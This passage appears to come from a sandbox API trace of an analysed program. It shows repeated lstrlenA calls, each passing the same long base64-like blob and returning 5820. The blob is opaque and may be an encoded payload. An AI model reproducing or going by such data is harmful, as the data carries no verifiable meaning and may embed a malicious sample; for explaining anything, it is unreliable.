8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.634] lstrlenA (lpString="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